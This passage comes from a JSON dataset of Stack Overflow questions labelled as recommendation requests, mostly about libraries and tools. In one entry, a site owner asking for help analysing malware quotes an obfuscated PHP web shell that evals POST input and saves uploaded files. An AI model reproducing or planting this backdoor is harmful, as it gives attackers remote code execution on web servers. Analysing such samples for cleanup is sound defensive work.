playback?</p>\n\n<p>Thanks in advance!</p>\n"},{"Classification":"Recommendation request","Title":"Long-press to multi-select Gmail-like whatsapp like recycle view library","Body":"<p>I'm wondering is there is any easy external library which implement a recyclerview that support long-press to multi-choice Gmail-like or whatsapp-like in main window behaivor</p>\n"},{"Classification":"Recommendation request","Title":"What is the best plugin to speed up my website?","Body":"<p>What is the best plugin to speed up my website?</p>\n"},{"Classification":"Recommendation request","Title":"What do I need to know to integrate a mapping API into an Android mobile application?","Body":"<p>I want to create a new app, but I'm not sure where to start. The barebones of my app just needs a map as the homepage that allows the user to interact with it and save data on their phone locally.</p>\n\n<p>I've been looking at potential APIs from Google Maps, Maptiler, and Mapbox, but even with the documentation available I'm not sure where to start.</p>\n\n<p>Can someone please tell me the foundational information needed to know for implementing a mapping API into an app? Even a point in the right direction to learning resources would be tremendous help. It should be noted that I have beginner level knowledge of coding with Java.</p>\n"},{"Classification":"Recommendation request","Title":"Downloading local wind data","Body":"<p>Where can I download daily upper wind speed and upper wind direction data for a local region (Vancouver, Canada) from 1970-2018? I have the local airport wind data at 10 m asl but I am looking specifically for wind speeds/direction at higher altitudes. </p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Resources and Javadoc for NCSO jar (DIIOP)","Body":"<p>We have to read out remote data from a domino server (Room and Resources). Therefore we are going to use the NCSO.jar lib that is shiped with the Domino Server. But there is nearly no useful documentation and I cannot find any Javadoc??\nAnyone got a clue where I can find the javadoc or any good domino/notes specific open community? </p>\n"},{"Classification":"Recommendation request","Title":"Alternative of ethtool -S eth1","Body":"<p>I don't have ethtool installed. I want to dump output of <code>ethtool -S eth1</code>. Can anyone tell me how can I see the output of <code>ethtool -S eth1</code> without ethtool. Is there any file which store the information ? \nI guess ethtool also dump the information from some file in linux. If yes, What is the file name ?</p>\n"},{"Classification":"Recommendation request","Title":"What is the easiest way to test out a payment system in Android?","Body":"<p>I am trying to build a demo app for a local business which allows the user to fill out a form and put a deposit down on an advertising slot. So far the solutions I have investigated (e.g. PayPal (deprecated), BrainTree, Adyen, Google Pay) all seem to require a lot of information about the business (e.g. BrainTree requires the business's tax ID to apply for a sandbox account which I don't know) and they all seem to require a server (which I could set up but am hoping for a simpler solution for the purposes of a demo).</p>\n\n<p>Are there any quick solutions for in-app payment like this, such as launching the PayPal app on the user's phone or some or third-party means?</p>\n"},{"Classification":"Recommendation request","Title":"Publishing IOS app to a website","Body":"<p>I'm having trouble trying to get my IOS app for download on my website. I saw this method here <a href=\"https://stackoverflow.com/questions/20276907/enterprise-app-deployment-doesnt-work-on-ios-7-1\">Enterprise app deployment doesn&#39;t work on iOS 7.1</a>. I don't know how to get an <code>app.plist</code> or anything at all. I developed my app in Xcode now I need help putting it on my site for download where users can click the button then they get a prompt on their phone to download the app.</p>\n"},{"Classification":"Recommendation request","Title":"Minimal GDBus client","Body":"<p>I've been trying to make a simple program that does some of what bluetoothctl does, but automatically. It needs to not be GPL'd, so I can't just copy bluetoothctl's source. The biggest stumbling block has been just getting a simple D-Bus program to work. Since I'm targeting an embedded system (albeit a fairly powerful one) I can't afford to run Python or use just any programming language.</p>\n\n<p>I've seen several questions here and loads of web sites with pointers to <a href=\"https://dbus.freedesktop.org/doc/dbus-glib/\" rel=\"nofollow noreferrer\">obsolete things</a> or broken links or <a href=\"https://dbus.freedesktop.org/doc/api/html/index.html\" rel=\"nofollow noreferrer\">documentation</a> that says I'm \"signing up for some pain.\" How is there not a simple minimal example that sets up a D-Bus connection?</p>\n"},{"Classification":"Recommendation request","Title":"grpc communication in QT","Body":"<p>I am totally new with QT, and I just want to practice with this tool. I thought it would be great if I could communicate with a server via grpc. I read a lot of articles about this, but I couldn't find anything about this topic. Could you recommend any kind of tutorial, or examples, or articles about it? Where should I start this at all? I already made a server call and parse JSON file. Thanks for your help.</p>\n"},{"Classification":"Recommendation request","Title":"How to connect my C# application to online SQL Server?","Body":"<p>It's the first time for me to deal with SQL Server so please don't downvote my post as I have searched a lot but can't find anything useful.</p>\n\n<p>How to connect my Winforms app to SQL Server online so that I can make a signup and login form? I want the DB to be online not stored locally on my laptop. My first step I've completed was to install SSMS tool but it asked me for a name server which I don't know of course.</p>\n"},{"Classification":"Recommendation request","Title":"How to get useful Win32 C++ API documentation","Body":"<p>Developing with Visual Studio Community 2017, I have noticed recently that a lot of Microsoft's online documentation for Windows desktop Win32 API calls has started to degrade.</p>\n\n<p>Look, for example, at the TBD entries for a simple call such as DrawText, which make the documentation essentially useless for detailed work:</p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-drawtext\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-drawtext</a></p>\n\n<p>My question is this:</p>\n\n<p>Ideally, to hedge against Microsoft degrading their online documentation, <strong>what's the best way to get a local copy of the C++ Win32 API documentation</strong>?</p>\n\n<p>I've been poking around in the Microsoft Help Viewer 2.3 setup and I don't see a direct way to get this. Perhaps I'm missing something obvious.</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"list of adb devices to mysql database","Body":"<p>I can get the list of cell phone devices connected to my Linux system by simply typing <code>adb devices</code>. </p>\n\n<p>I would like to insert the list of adb devices to mysql database automatically.\nSo I want to know what event happens and how I know when a device is connected. In case of the event, I think I can run the command <code>adb devices</code> and insert them to a database table programmatically.</p>\n\n<p>I am thinking that I can register some commands in <code>crontab</code> and run it occasionally. But this is not a good idea because it keeps checking <code>adb devices</code> even though there's no update in device list.</p>\n\n<p>Any advice will be much appreciated.</p>\n"},{"Classification":"Recommendation request","Title":"Is there a Firebase / Jetpack tutorial available?","Body":"<p>One of my favorite things about Firebase is the awesome support I get here on StackOverflow, so here's an easy question for you:</p>\n\n<p>Question: I'm excited about Jetpack and want to give it a go, but my app uses Firebase. Is there a tutorial or template that shows Jetpack integrated with Firebase? Specifically I'd like to see a repository connected to both Room and Firebase and keeping the two in-sync. </p>\n\n<p>If not can you give us a hint as to when one might be available?</p>\n"},{"Classification":"Recommendation request","Title":"Suggest me some easy way to learn spring framework through video tuitorial","Body":"<p>I had worked under framework created inside Spring framework with using cutting edge technologies created by the company.</p>\n\n<p>Shall you suggest me some video tutorial to learn spring framework (Spring MVC, Spring Core, Spring Batch, Spring Data, Spring Security, Spring boot) in Application oriented (creating) approach by a DB connectivity on that. </p>\n\n<p>Suggest me some free learning video tutorials for that. Please, Guide me the entire process. </p>\n"},{"Classification":"Recommendation request","Title":"Does Microsoft provide a public API to determine the latest version of .NET Core, .NET Framework, or Build Tools?","Body":"<p>Due to the increased frequency of updates Microsoft is providing to their frameworks and tools, I would like to script their download and installation into a build system.</p>\n\n<p>I attempted to use Fiddler to determine the API calls that Visual Studio 2017 called to identify updates on start up, but was unsuccessful. </p>\n\n<p>Does anyone know of a public API that can be used to identify the latest version and download these updates? I'd rather not use a web scraper.</p>\n"},{"Classification":"Recommendation request","Title":"UE4 Third Person Transform","Body":"<p>I have just started using Unreal Engine 4 and I need help. In the 'Learn' section of UE4 there is this demo called 'Shooter Game'. Whoever made it has created it in First Person. I wanted to transform the game to a Third Person camera so I followed this tutorial: <a href=\"https://wiki.unrealengine.com/Shooter_Game_-_Toggle_Third_Person\" rel=\"nofollow noreferrer\">https://wiki.unrealengine.com/Shooter_Game_-_Toggle_Third_Person</a></p>\n\n<p>But i'm a new to UE4 and I don't have any experience with C++, so I tried following it, but I gave up, because some parts I did not get. Can someone make a video following this tutorial to make it clear how to complete all the steps?</p>\n"},{"Classification":"Recommendation request","Title":"No X3D viewer applications","Body":"<p>I know this isn't much of a programming question as such, but I'm doing some research on 3D viewer applications and X3D viewer applications. I've found many 3D viewer apps but only two X3D viewer ones. I was wondering why there's hardly any X3D viewer applications on the market.</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>The 3D apps that I've found that I'm okay with the amount that I have are: <code>i3D Viewer, 3DVIA, 3D Model Viewer, Blue 3D Model Viewer, PortShape, 3D Viewer, Babel3D, Afanche 3D Model Viewer, iRhino, Viso3D</code> and the X3D ones that I've found are: <code>FreeX3D, FreeWRL</code> and I'm looking for more X3D viewer apps</p>\n"},{"Classification":"Recommendation request","Title":"C++ alert libraries","Body":"<p>I'll start programming a utility on FreeBSD written in C++. I need to understand what C++ libraries that deal with kernel administration of the access control processes or triggers for both files and directories?</p>\n\n<p>thanks</p>\n"},{"Classification":"Recommendation request","Title":"Show the amount of dirty space per LEB and/or in total?","Body":"<p>While studying the the UBIFS documentation [1] I figured out that there is free space which directly can be used when writing data and also dirty space which needs garbage collection at first. </p>\n\n<p>How can I find out the amount dirty space from a running Linux?\nIs the a way to also show this information on a LEB basis?</p>\n\n<p>With that information I could estimate if garbage collection is needed soon.</p>\n\n<p>[1] <a href=\"http://www.linux-mtd.infradead.org/doc/ubifs.html#L_spaceacc\" rel=\"nofollow noreferrer\">http://www.linux-mtd.infradead.org/doc/ubifs.html#L_spaceacc</a></p>\n"},{"Classification":"Recommendation request","Title":"Which database is best for android app?","Body":"<p>I am confused which backend platform is best used today to make app?\nIs mangodb a good platform?</p>\n"},{"Classification":"Recommendation request","Title":"PDF manipulation in Java","Body":"<p>I need to build an application in Java that fills text boxes in a predefined PDF form. From what I've gathered, PDFBox should be able to do the job, but it is unable to work with tables, page alignment or text boxes whatsoever.\nWhat other free options are there, considering that the page needs to have columns, and the form is always the same?</p>\n\n<p><a href=\"https://i.stack.imgur.com/xT8tb.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xT8tb.jpg\" alt=\"This is the pdf in which i need to fill in certain fields\"></a></p>\n\n<p>I need my Java app to take input from some JTextFields and fill them in the blue rectangles.</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Can I develop on Mac Os with C#","Body":"<p>For a project, I need to develop a desktop application. I have experience with C#, so I am gonna that develop with C#. My appilication has to be an admin panel.</p>\n\n<p>The problem is, that a member of my group, only use Mac Os. It's told to me that I can't use a C# appilication on Mac Os. So my member can't use the appilication</p>\n\n<p>Is there any solution?</p>\n"},{"Classification":"Recommendation request","Title":"Way for doing material design games?","Body":"<p>A programming app's for Android </p>\n\n<p>On the play google I see a lot of simple games, that makes with material design. On the one hand of course we have Unity, but I think it's too much for small and simple 2d games (it's always over 25 mb), I know that we can use Cocos2d-x, Libgdx, marmalade and etc.., but for example if I need to make slots, simple platformer, or something like that what I should use in case of in-demand (I mean, which library, engine popular and in-demand now in game dev world?)? </p>\n"},{"Classification":"Recommendation request","Title":"RPA Automation for window apllication","Body":"<p>I am new to this RPA automation thing.</p>\n\n<p>I need to develop application dll based using c# .net. In this application i need to automate the desktop application.</p>\n\n<ol>\n<li><p>Getting data from excel one by one.</p></li>\n<li><p>Open desktop application.</p></li>\n<li><p>Select Treeview from mouse event.</p></li>\n<li><p>Pass those excel value to desktop application textbox and combo box. </p></li>\n<li><p>Read messagebox of application if any validation.</p></li>\n<li><p>Save data.</p></li>\n</ol>\n\n<p>If any sample code available that would be great help.</p>\n"},{"Classification":"Recommendation request","Title":"MySQL Client form","Body":"<p>I'm looking for a SQL database client. The goal is to produce few forms to fill a MySQL database and perform check on the data before to sand them to the database.</p>\n\n<p>Since, <strong>the team is definitely not a development team</strong>, I'm looking for a simple tool. I was thinking to develop a ECore model, performs check through EEF (or similar) and create a eclipse plugin to send the data to the database but they will not be able to maintain it if I leave.</p>\n\n<p>So the ideal tool would help to:</p>\n\n<ul>\n<li>Define and maintani database table. Today we use MySQL workbench as a start.</li>\n<li>Create forms</li>\n<li>Use the forms to fill the database directly in the tool. For this point we envisage to use LibreOffice to do so, but I'm again this solution due to several environment issues (The company pays for Office and want use to use it, it add another tool in your environment and I'm pushing the team to simplify your environment)</li>\n</ul>\n\n<p>But until now, I didn't find an Eclipse plugin able to do it.</p>\n\n<p>Do you know an eclipse plugin able to do it ? Or a tool to edit the database and defined this forms ?</p>\n\n<p>Thomas</p>\n"},{"Classification":"Recommendation request","Title":"Any suggestion for the Tool to capture API requests of live HTTPS?","Body":"<p>We captured requests of the live traffic of https requests the API calls which are triggering by Runscope earlier but presently they have stopped this particular service of checking live traffic https requests.</p>\n\n<p>Any suggestion of which tool can be used other than runscope(Alternate to runscope).</p>\n"},{"Classification":"Recommendation request","Title":"Which is the most suitable 3rd party library for sidebar in objective c","Body":"<p>I know this question seems silly but am new to iOS and i want to implement a sidebar in objective c project.Till now i had tried - </p>\n\n<p><strong>1. CDRTranslucentSideBar</strong></p>\n\n<p><strong>2. SWRevealViewController</strong></p>\n\n<p>But at some point both shows some malfunctioning. So i want to explore for other suitable sidebar libraries.</p>\n"},{"Classification":"Recommendation request","Title":"Porting WCF WS-Discovery to Linux","Body":"<p>I have a program that is written in C# and uses WCF's WS-Discovery to find the various services it uses on its local host. I want to port it to Linux, however Mono doesn't fully support what we are currently using so we were looking into Avahi. Has anyone done this? I am unfamiliar with how Avahi works and unsure how to edit the code to work with it. Does Avahi support announcement like WS-Discovery?</p>\n\n<p>Thank you in advance!</p>\n"},{"Classification":"Recommendation request","Title":"How to build product design customization via image upload?","Body":"<p>Could anyone help me with the process? I want to allow users to upload their pattern/image/design. The image will be placed on the background of our pre-designed dress.</p>\n\n<p>Is there any WordPress plugin for this?</p>\n"},{"Classification":"Recommendation request","Title":"is possible to edit and view ,changes in php or dotnet ?","Body":"<p><a href=\"https://www.officedepot.com/configurator/create-on-demand/#/product/card/AG1004\" rel=\"nofollow\">https://www.officedepot.com/configurator/create-on-demand/#/product/card/AG1004</a></p>\n\n<p><a href=\"https://www.psprint.com/design-templates/business-cards/bc-544/canvas/\" rel=\"nofollow\">https://www.psprint.com/design-templates/business-cards/bc-544/canvas/</a></p>\n\n<p>friends i just need to know from which editor they did online printing .i just enclosed url link with this kindly see those link and update me. </p>\n\n<p>is this possible in php or dotnet!.</p>\n"},{"Classification":"Recommendation request","Title":"Convert Pro*C to SQL","Body":"<p>Is any anyone aware how to convert Pro*c file into SQL</p>\n"},{"Classification":"Recommendation request","Title":"How to update intent in DialogFlow using APIs?","Body":"<p>i have some problems with update the intent by using the APIs, does anyone have some source code regarding this?\nThanks</p>\n"},{"Classification":"Recommendation request","Title":"I&#39;m new at Laravel, is it possible to upgrade from 5.4 to 5.6 directly or first 5.5 then 5.6?","Body":"<p>It is possible to upgrade from 5.4 to 5.6 direct or must 5.5 then 5.6 </p>\n\n<p>any advise on that </p>\n\n<p>Thank you </p>\n"},{"Classification":"Recommendation request","Title":"Python alternative to tsoutliers in R","Body":"<p>R has a nice library to detect anomalies in time series, its name is tsoutliers and is discussed for example here <a href=\"https://stats.stackexchange.com/questions/104882/detecting-outliers-in-time-series-ls-ao-tc-using-tsoutliers-package-in-r-how\">https://stats.stackexchange.com/questions/104882/detecting-outliers-in-time-series-ls-ao-tc-using-tsoutliers-package-in-r-how</a></p>\n\n<p>Is there any alternative library in python? Or an easy way how to find the time series outliers with more standard libraries (numpy, scipy, sklearn)?</p>\n"},{"Classification":"Recommendation request","Title":"How to combine xml + xsl to generate a pdf file by batch?","Body":"<p>How to combine a xml file and xsl file to create a pdf file by batch script?\nIt seems that it might need extra thing to achieve this cause windows don't have build in function to support my intention.</p>\n\n<p>I have refered to js which have xml-to-pdf method like\n<code>var xml=new ActiveXObject(\"Msxml2.DOMDocument.6.0\")</code> and tried it but it is not quite fit to batch case.</p>\n\n<p>Any suggestion is appreciated.Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Package that allows for visualization of gene symbols against GO/KEGG annotations, which can also be clustered","Body":"<p>I'm using R to analyze data provided by my PI, and attempting to recreate this figure: <a href=\"https://i.stack.imgur.com/116rV.png\" rel=\"nofollow noreferrer\">GO&amp;KEGG_Heatmap</a></p>\n\n<p>I'm looking for an R package that can create a heatmap which displays gene symbols against GO/KEGG annotation specifically, where the color of the cells represents gene expression values. It also needs to be able to cluster the genes based on involvement in similar GO/KEGG annotations. </p>\n\n<p>I've tried using clusterProfiler, GoSemSim, and enrichPlot. While GoSemSim allows for a dendrogram of genes clustered based on their semantic similarity of GO terms, this capability only exists for GO terms (not Kegg) and does not extend to the heatplot function in clusterProfiler/enrichPlot. </p>\n\n<p>I've been looking for over a week, and would really appreciate any help. Thank you.</p>\n"},{"Classification":"Recommendation request","Title":"how to have a slider where values can be changed on both sides","Body":"<p>I am looking for a slider in which u can change the values on both sides of the reference value.Something like the pic I have attached.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tEp31.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tEp31.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"Recommendation request","Title":"Java - How to remove the HTML/CSS tags from the HTML email while retaining line breaks?","Body":"<p>I have the email body:</p>\n\n<p><a href=\"https://i.stack.imgur.com/XUD9Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XUD9Q.png\" alt=\"Email body\"></a></p>\n\n<p>It is in HTML/CSS. I want to convert it to plain text in Java, without changing the structure. I have used Jsoup lib:</p>\n\n<pre><code>Jsoup.clean(body, Whitelist.basic());\n</code></pre>\n\n<p>as well as solutions from <a href=\"https://stackoverflow.com/questions/240546/remove-html-tags-from-a-string\">this link</a>, mainly the <code>HTML2Text</code> class using swing APIs.\nBut they are both simply removing the CSS tags without retaining the structure and the result is this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/JDd1j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JDd1j.png\" alt=\"enter image description here\"></a></p>\n\n<p>All of them are in one line. For only HTML tags, it is working fine. But when CSS is involved the structure is all messed up. Is there any library in Java that can retain the CSS tags as well?</p>\n"},{"Classification":"Recommendation request","Title":"User-defined protocols","Body":"<p>Where can I find courses for analyzing and implementing User-defined protocols?\nAlso need any information about this sience (e.g. applications used for implementing and analyzing).</p>\n"},{"Classification":"Recommendation request","Title":"owasp installation on Ubuntu","Body":"<p>I am new to owasp and wanted to install owasp in my Ubuntu system.So i want to know which tool is good and what hardware configuration is required for installing owasp's tool? please suggest me any link or reference.</p>\n"},{"Classification":"Recommendation request","Title":"MATLAB TO C conversion","Body":"<pre><code>[rawdata , count] = fread(fid_rawdatafile, numofdatapointstoberead , 'uint8');\n</code></pre>\n\n<p>I'm working on matlab and i'm not able to understand what this means!</p>\n\n<ol>\n<li>What does this command do?</li>\n<li>How can I rewrite this in C language?</li>\n</ol>\n"},{"Classification":"Recommendation request","Title":"Interactive SVG map for android studio","Body":"<p>I am trying to find a way to implement an <strong>interactive</strong> svg map in android. I would like to have one similar to the example here:</p>\n\n<p><a href=\"http://mapsvg.com/maps/germany\" rel=\"nofollow noreferrer\">http://mapsvg.com/maps/germany</a></p>\n\n<p>In the example above, the click is detectable when I click on Hamburg.</p>\n\n<p>Does anyone know a good library or method they can recommend for achieving similar results in android?</p>\n"},{"Classification":"Recommendation request","Title":"Coding challenges to quiz my knowledge as i learn.","Body":"<p>I am currently working on learning java through the eclipse ide and I was wondering if there is a list of challenges that get progressively harder? Also if anyone has any recommendations on things like UI, file input to use things like audio or images or 3d models and what not, input and output into a UI it would be greatly appreciated those are some things I truly struggle to understand at the moment.</p>\n"},{"Classification":"Recommendation request","Title":"Using SMPP to send sms texts in JAVA or php","Body":"<p>How do I send SMS directly via SMPP? My provider provides an SMPP interface to send SMS, how do I connect it to it? Are there any libraries or examples that can educate me on using SMPP to send? Perhaps using PHP? or C#?</p>\n"},{"Classification":"Recommendation request","Title":"do we have technologies to connect Firebase realtime database with google spread sheet","Body":"<p>Copying data from Firebase Realtime Database to a Google Sheet in real time via Cloud Functions.\nHere is the picture :\n<img src=\"https://i.stack.imgur.com/F3NZt.png\" alt=\"see the attached picture please\"></p>\n"},{"Classification":"Recommendation request","Title":"PDDL library for checking/manipulating domains","Body":"<p>Does anybody know a good PDDL library in python or C++ that has the following features</p>\n\n<ul>\n<li>Parsing of pddl domain/problem files</li>\n<li>Support for ADL (i.e. quantifiers in preconditions and effects)</li>\n<li>Applicability check: A function that tests if a specific grounded action is applicable at the current world state</li>\n<li>Applying actions: A function that applies i.e. manipulate the current world state based on a grounded action</li>\n<li>The possibility to ground an action: A function that generates a list of all possibilities to apply an action on the current world state</li>\n</ul>\n\n<p>This are features that every planner needs but I could not find a library that only does this and all planners that I have found so far are obscure at best.</p>\n\n<p>The closest lib that I could find was pddlpy (<a href=\"https://github.com/hfoffani/pddl-lib\" rel=\"nofollow noreferrer\">https://github.com/hfoffani/pddl-lib</a>), but it does not support ADL and applying actions.</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"SSL intermediate certificate","Body":"<p>I try to find company, who can sign certificate with these purposes:</p>\n\n<blockquote>\n <p>Ensures the identity of a remote computer<br>\n Proves your identity to a remote computer<br>\n Protects e-mail messages<br>\n Ensures software came from software publisher<br>\n Protects software from alteration after publication<br>\n Allows data to be signed with the current time<br>\n Allows data on disk to be encrypted<br>\n Allows secure communication on the Internet<br></p>\n</blockquote>\n\n<p>With company offer certificates like above? In other word I need to sign \"my own intermediate\" certificate with trusted CA.</p>\n"},{"Classification":"Recommendation request","Title":"What does this php script do?","Body":"<p>My website seems to be affected by a malware.\nI've found this snippet included in some of my webpages.\nCan somebody help me to analyze what does this snippet do? I guess this was the reason that ranking of my website degraded awfully:</p>\n\n<pre><code>&lt;?php echo 7457737+736723;$raPo_rZluoE=base64_decode(\"Y\".chr(109).\"F\".chr(122).chr(90).\"T\".chr(89).chr(48).chr(88).\"2\".\"R\".\"l\".\"Y\".chr(50).\"9\".chr(107).\"Z\".chr(81).\"=\".\"=\");$ydSJPtnwrSv=base64_decode(chr(89).\"2\".chr(57).chr(119).chr(101).chr(81).chr(61).\"=\");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).\"Q\".chr(61))]));if($_POST[base64_decode(\"d\".chr(88).chr(65).\"=\")] == base64_decode(\"d\".\"X\".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).\"m\".\"l\".\"s\".chr(90).\"Q\".\"=\".chr(61))][base64_decode(chr(100).chr(71).chr(49).\"w\".\"X\".chr(50).\"5\".chr(104).\"b\".chr(87).\"U\".chr(61))],$_FILES[base64_decode(\"Z\".chr(109).\"l\".\"s\".chr(90).\"Q\".chr(61).chr(61))][base64_decode(chr(98).\"m\".\"F\".chr(116).\"Z\".chr(81).chr(61).\"=\")]);}; ?&gt;\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Does reading the nth byte in linux NFS require streaming of all previous bytes over network?","Body":"<p>Does linux NFS ensure that trying to read the last byte of a huge file does not require streaming the entire file?</p>\n\n<p>Edit: I don't understand why this was marked off topic, I could not find any documentation regarding the performance in this aspect. In theory I'm inclined to believe that it does not buffer the entire file. But I'd like to obtain a confirmation. Any pointers would be great.</p>\n"},{"Classification":"Recommendation request","Title":"API for R to export it?","Body":"<p>This is not a programming question. But is there some sort of API which I can use to call plots from R environment to an HTML web application? </p>\n\n<p>I have experimented with htmlwidgets packages and managed to save a plot as an HTML file. But what if I have moving data, so the plots would have to change on a daily basis how would I be able to automate it?</p>\n\n<p>For instance, <a href=\"http://www.buildingwidgets.com/blog/2016/8/4/htmlwidgets-look-ma-no-r\" rel=\"nofollow noreferrer\">htmlwidgets | Look Ma No R</a> demonstrates how <code>htmlwidgets</code> can be called from JavaScript. Can we use this method or something similar to provide dynamic data from some other source than R?</p>\n\n<p>The <code>data\\x</code> argument (see <a href=\"https://github.com/ramnathv/htmlwidgets/blob/master/R/htmlwidgets.R#L316\" rel=\"nofollow noreferrer\">line</a>) for <code>htmlwidgets</code> is data from the R environment, so there is no api for doing this. Is there a hack to supply this data?</p>\n"},{"Classification":"Recommendation request","Title":"Vim live interactive runtime plugin for python","Body":"<p>I am looking for a VIM plugin that I can run as a split window to execute the code and run live Python code instead of using !python which jumps out of the <strong>.py</strong> file every time.</p>\n"},{"Classification":"Recommendation request","Title":"How to get a cell value of sql table in c#","Body":"<p>I have one table in SQL server like:</p>\n\n<pre><code>id range small medium tall\n1 0-13 0.4 0.2 0.6\n2 14-30 0.5 0.1 0.9\n</code></pre>\n\n<p>now I want to ask the user to enter the range and one of (small or medium and tall) and the system returns its value. for example, the user enters 0-13 and small, now the result must be 0.4 in output.</p>\n\n<p>How to write its query in LINQ in c#.</p>\n\n<p>regards,</p>\n"},{"Classification":"Recommendation request","Title":"How to add authorization token in incoming http request header","Body":"<p>I'm implementing token authentication via DRF(Django-rest-framework). So far I've understood that in token authentication you exchange your credential with a token which server had had already generated for every user. Then you put that token in every request header to the API, without worrying about the cookies. </p>\n\n<p>Now I know how to generate token and write to view to authenticate and issue token. However, I haven't figured out how to put token in the http header, which I suppose need to be done in front-end.</p>\n\n<p>I tried to search but there doesn't seems to a clear answer on the internet how to do it.</p>\n"},{"Classification":"Recommendation request","Title":"Configuration of Informix for PHP using Docker","Body":"<p>I was looking for a tutorial or a ready to use docker image that configures a PHP7 environment with ODBC/PDO_INFORMIX preinstalled but couldn't find it.</p>\n\n<p>So i decided to do it by my self, but now i can't find a link to download the Informix Client SDK !</p>\n\n<p>Please, any documentation about this and a working link to download the CSDK !</p>\n\n<p>Thank you.</p>\n"},{"Classification":"Recommendation request","Title":"Apache rewrite/redirect rule","Body":"<p>I have a series of PHP script URL endpoints that I need to replace the prefix URL with that of our proxy servers URL</p>\n\n<pre><code>http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/ \n http://www.library.ohio.edu/ezpauth/redir/all_weak.php?http://www.jstor.org/\nhttp://www.library.ohio.edu/ezpauth/redir/all_strong.php?http://www.jstor.org/\nhttp://www.library.ohio.edu/ezpauth/redir/ac.php?http://www.jstor.org/\n</code></pre>\n\n<p>Among several other PHP scripts that are filtering access based upon IP address, anywho that isn't important.</p>\n\n<p>I need an apache rewrite rule that will rewrite the prefix URL and redirect/replace it with </p>\n\n<p><strong><em><a href=\"https://proxy.library.ohio.edu/login\" rel=\"nofollow noreferrer\">https://proxy.library.ohio.edu/login</a></em></strong></p>\n\n<p>But will keep the GET parameter url</p>\n\n<p>So if someone clicks on <a href=\"http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/\" rel=\"nofollow noreferrer\">http://www.library.ohio.edu/ezpauth/redir/athens.php?http://www.jstor.org/</a> </p>\n\n<p>It will redirect to <a href=\"https://proxy.library.ohio.edu/login?url=http://www.jstor.org/\" rel=\"nofollow noreferrer\">https://proxy.library.ohio.edu/login?url=http://www.jstor.org/</a> instead</p>\n"},{"Classification":"Recommendation request","Title":"Implement facial recognition to mark attendance in android","Body":"<p>I am developing an android application that will enable an organisation to help them mark attendance of every employer through Face recognition.</p>\n\n<p>Once the face is recognised i want to hit a rest webservice in the background that will store the user id ,user name and his login time in the backend database.</p>\n\n<p>Can anyone kindly provide me with the best solutions on how to start implementing the above concept</p>\n\n<p>Thanks In advance</p>\n"},{"Classification":"Recommendation request","Title":"Is there a list of all alphanumeric signs in python?","Body":"<p>Is there a list that contains all lower cases, upper cases, and numbers in python?</p>\n\n<p>\"string\" does not have such a list.</p>\n"},{"Classification":"Recommendation request","Title":"JavaScript libraries for working with pictures","Body":"<p>Is there a good library that can work with pictures in JavaScript and is relatively easy to use? Must work for mobiles. I am going to give a brief explanation of what I'm actually looking for:</p>\n\n<p>Let's say we have three users: A, B and C. User A recently took a picture with his phone and uploaded it to the server. He also <strong>draws</strong> a circle (must be on a separate layer) on the picture (let's say he wanted to mark the TV or some other object on the picture). Now user B and user C receive the actual picture (has the circle on it). User B decided to <strong>move</strong> the circle to another object and he also created a square. User C got the updated picture from user B and decided to <strong>toggle off</strong> both the circle and the square.</p>\n\n<p>So what I am looking for is a JS library that can work with pictures on mobiles. The functionalities that I need are:</p>\n\n<ul>\n<li><p>drawing objects on the picture (let's say each user has only 1 layer)</p></li>\n<li><p>once the picture is recieved the layers from other users must be toggleable (each user can check what the other user marked)</p></li>\n<li><p>the move part isn't actually needed but would be cool to have</p></li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"Call a method when a the hosted website is stopped from IIS","Body":"<p>I have a WebApi written in c# based on .NET framework, hosted on IIS.\nI need to call a particular method when a the hosted website is stopped from IIS.\nPlease suggest what event or logic should be written to achieve this.</p>\n\n<p>Thanks in Advance.</p>\n"},{"Classification":"Recommendation request","Title":"Is there a library for recording video in python3, with capabilities similar to Nvidia Shadowplay","Body":"<p><strong>What I would like</strong><br>\nA python3 library that I can tell at a high level to start recording video and then later on, tell it to save to disk only the last n seconds that I want.</p>\n\n<p><strong>Why</strong><br>\nA friend of mine is developing a selenium script and it could help his debugging to have say a video of the last 15-30 seconds prior to the script failing. Currently he's using logging and screenshots, but a video can be even more helpful on top of that.</p>\n\n<p>I'm thinking about making a library myself with something like perhaps opencv if no such high level library already exists. I have written a library with these capabilities before in pascal, but I would however really like to make sure that I'm not reinventing the wheel here.</p>\n\n<p><strong>Research I've already done</strong><br>\nI've found an old video recording library suggested here years ago <a href=\"https://stackoverflow.com/a/17499307/8333189\">https://stackoverflow.com/a/17499307/8333189</a> but it seems to only support python2, not python3. And it's capabilities might be more limited than what I'm desiring.</p>\n\n<p>This library seems to provide what I want, and for python3! <a href=\"http://picamera.readthedocs.io/en/release-1.10/recipes1.html#recording-to-a-circular-stream\" rel=\"nofollow noreferrer\">http://picamera.readthedocs.io/en/release-1.10/recipes1.html#recording-to-a-circular-stream</a> But alas it seems to only work for raspberry pis? When I tried to install and import it on windows I got an OSError.</p>\n"},{"Classification":"Recommendation request","Title":"Auto-analyzing scripts for php 7 migration","Body":"<p>I want to migrate my php application from version 5.6 to 7. For this purpose I already found the migration guide with many useful tipps.<br>\nBecause my application consists of many files (about 10,000) I'm looking for a tool/script which analyzes my files. Last 